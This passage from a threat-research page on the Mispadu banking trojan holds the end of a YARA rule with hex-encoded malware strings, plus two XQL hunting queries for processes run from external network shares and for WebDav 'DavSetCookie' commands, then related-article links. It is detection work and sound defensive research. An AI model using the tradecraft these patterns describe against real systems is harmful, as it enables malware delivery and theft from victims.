{687474703A2F2F0068747470733A2F2F00000000000000007B003A003000380078007D00000000002E2F0000000000004D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2054726964656E742F372E303B2072763A31312E3029206C696B65204765636B6F00005300480041003200350036000000000052746C47657456657273696F6E00} $str2 = {424372797074456E6372797074000000424372797074436C6F7365416C676F726974686D50726F76696465720000000043003A005C00570069006E0064006F00770073005C00530079007300740065006D003300320000005C00540065006D00700000000000000043003A005C00500072006F006700720061006D0044006100740061005C00540065006D00700000002C00000000000000554E4B4E4F574E007C0000003D000000687474703A2F2F0068747470733A2F2F00} $str3 = {6E00740064006C006C002E0064006C006C0000000000000057696E646F777320313100000000000057696E646F777320313000000000000057696E646F777320380000000000000057696E646F7773203700000000000000556E6B6E6F776E00410045005300000043006800610069006E0069006E0067004D006F00640065004300420043000000} condition: any of them } | ## **Additional Resources** * [Inside Mispadu massive infection campaign in LATAM - Metabase Q](https://www.metabaseq.com/mispadu-banking-trojan/) * [Dissecting the Menacing New infostealer Campaign Targeting Mexico](https://www.hunters.security/en/blog/dissecting-new-infostealer-campaign-targeting-mexico) ## **XQL Queries** // Look for a process running from an external network share, while the parent process also accessed a .url file config case\_sensitive = false | filter event\_type = ENUM.PROCESS and action\_process\_image\_command\_line ~= "^\\"\\\\\\\\(\\d{1,3}(?:\\.\\d{1,3}){3})" |alter ip = arrayindex(regextract(action\_process\_image\_command\_line , "(\\d{1,3}(?:\\.\\d{1,3}){3})"),0) |alter rfc1918\_172 = incidr(ip, "172.16.0.0/12") |alter rfc1918\_10 = incidr(ip, "10.0.0.0/8") |alter rfc1918\_192 = incidr(ip, "192.168.0.0/16") |filter rfc1918\_172 = false and rfc1918\_10 = false and rfc1918\_192 = false | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , actor\_process\_os\_pid , ip | join type = left conflict\_strategy = left ( config case\_sensitive = false | filter event\_type = ENUM.FILE and action\_file\_extension = "url" | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , action\_file\_path as url , actor\_process\_os\_pid as file\_pid ) as joined joined.file\_pid = actor\_process\_os\_pid and joined.agent\_hostname = agent\_hostname and joined.actor\_process\_command\_line = actor\_process\_command\_line | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line , url , ip | filter url != null |comp values(action\_process\_image\_command\_line ) as commands by ip |-------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | // Look for a process running from an external network share, while the parent process also accessed a .url file config case\_sensitive = false | filter event\_type = ENUM.PROCESS and action\_process\_image\_command\_line ~= "^\\"\\\\\\\\(\\d{1,3}(?:\\.\\d{1,3}){3})" |alter ip = arrayindex(regextract(action\_process\_image\_command\_line , "(\\d{1,3}(?:\\.\\d{1,3}){3})"),0) |alter rfc1918\_172 = incidr(ip, "172.16.0.0/12") |alter rfc1918\_10 = incidr(ip, "10.0.0.0/8") |alter rfc1918\_192 = incidr(ip, "192.168.0.0/16") |filter rfc1918\_172 = false and rfc1918\_10 = false and rfc1918\_192 = false | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , actor\_process\_os\_pid , ip | join type = left conflict\_strategy = left ( config case\_sensitive = false | filter event\_type = ENUM.FILE and action\_file\_extension = "url" | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , action\_file\_path as url , actor\_process\_os\_pid as file\_pid ) as joined joined.file\_pid = actor\_process\_os\_pid and joined.agent\_hostname = agent\_hostname and joined.actor\_process\_command\_line = actor\_process\_command\_line | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line , url , ip | filter url != null |comp values(action\_process\_image\_command\_line ) as commands by ip | // Look for WebDav client suspicious commands config case\_sensitive = false | dataset = xdr\_data | filter event\_type = ENUM.PROCESS | filter action\_process\_image\_command\_line contains "@80 http://" and action\_process\_image\_command\_line contains "DavSetCookie" | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line |-------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | // Look for WebDav client suspicious commands config case\_sensitive = false | dataset = xdr\_data | filter event\_type = ENUM.PROCESS | filter action\_process\_image\_command\_line contains "@80 http://" and action\_process\_image\_command\_line contains "DavSetCookie" | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line | *Updated Feb. 7, 2024 at 10:44 a.m. PT to make some redactions.* Back to top ### Tags * [Banking Trojan](https://unit42.paloaltonetworks.com/tag/banking-trojan/ "Banking Trojan") * [CVE-2023-36025](https://unit42.paloaltonetworks.com/tag/cve-2023-36025/ "CVE-2023-36025") * [Mispadu infostealer](https://unit42.paloaltonetworks.com/tag/mispadu-infostealer/ "Mispadu infostealer") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: ApateWeb: An Evasive Large-Scale Scareware and PUP Delivery Campaign](https://unit42.paloaltonetworks.com/apateweb-scareware-pup-delivery-campaign/ "ApateWeb: An Evasive Large-Scale Scareware and PUP Delivery Campaign") ### Table of Contents * ### Related Articles * [Beware of BadPack: One Weird Trick Being Used Against Android Devices](https://unit42.paloaltonetworks.com/apk-badpack-malware-tampered-headers/ "article - table of contents") * [Leveraging a Hooking Framework to Expand Malware Detection Coverage on the Android Platform](https://unit42.paloaltonetworks.com/hooking-framework-in-sandbox-to-analyze-android-apk/ "article - table of contents") * [Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure](https://unit42.paloaltonetworks.com/banking-trojan-techniques/ "article - table of contents") ## Related Resources ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/) * [API](https://unit42.paloaltonetworks.com/tag/api/ "API") * [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE") ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/) * [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel") * [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2") * [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure") ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. Subscribe today. Your Email Subscribe for email updates to all Unit 42 threat research. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement") This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. Invalid captcha! Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security) * [Secure AI by Design](https://www.paloaltonetworks.com/ai-security) * [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase) * [Prisma SASE](https://www.paloaltonetworks.com/sase) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.com/sase/access) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam) * [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira) * [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management) * [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager) * [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance) * [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management) * [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic) * [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management) * [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance) * [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery) * [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42) * [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense) * [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses) * [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy) * [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence) * [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond) Company * [About Us](https://www.paloaltonetworks.com/about-us) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [Customers](https://www.paloaltonetworks.com/customers) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom) Popular Links * [Blog](https://www.paloaltonetworks.com/blog/) * [Communities](https://www.paloaltonetworks.com/communities) * [Content Library](https://www.paloaltonetworks.com/resources) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure) * [Sitemap](https://www.paloaltonetworks.com/sitemap) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use) * [Documents](https://www.paloaltonetworks.com/legal) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)